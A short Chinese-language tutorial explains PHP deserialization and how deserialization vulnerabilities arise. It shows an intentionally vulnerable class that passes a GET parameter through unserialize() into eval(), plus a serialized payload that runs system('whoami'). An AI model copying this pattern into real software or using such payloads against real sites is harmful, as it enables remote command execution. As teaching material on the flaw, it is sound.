一、什么是反序列化?
反序列化是将序列化的字符串还原为PHP的值的过程。
二、如何反序列化
使用unserialize()
函数来执行反序列化操作
代码1:
$serializedStr = 'O:8:"stdClass":1:{s:4:"data";s:6:"sample";}';
$originalData = unserialize($serializedStr);
echo $originalData->data;
结果:
sample
三、反序列化漏洞是怎么产生的?
反序列化过程中,unserialize()接收到的值(字符串)可控;
通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值。
反序列化不改变类的成员方法;需要调用方法后才能触发;
通过调用方法,触发代码执行。
代码2:
<?php
class summer{#定义了一个summer类
public $a = '';
public function displayVar(){
eval($this->a);#执行一个系统指令,将a里边的值定义到eval中
}
}$get = $_GET["spring"];
$b = unserialize($get);$b->displayVar();
?>
1、使用$_GET获取get方法传输的spring参数
2、使用unserialize()函数对传入的值进行反序列化
注:eval()函数在PHP中的功能是将字符串作为PHP代码来执行
3、然后调用displayVar()将传入的参数执行出来。
4、如此可以看见,get传入的值必须是序列化后的值.
5、如何获得序列化后的值呢?
代码3
<?php
class summer{ #定义了一个summer类
public $a ="system('whoami');";
}echo serialize(new summer);
?>
结果:
O:6:"summer":1:{s:1:"a";s:17:"system('whoami');";}
6、查看代码2是通过get方法获取spring参数的值,
如下图构造url,即可执行命令。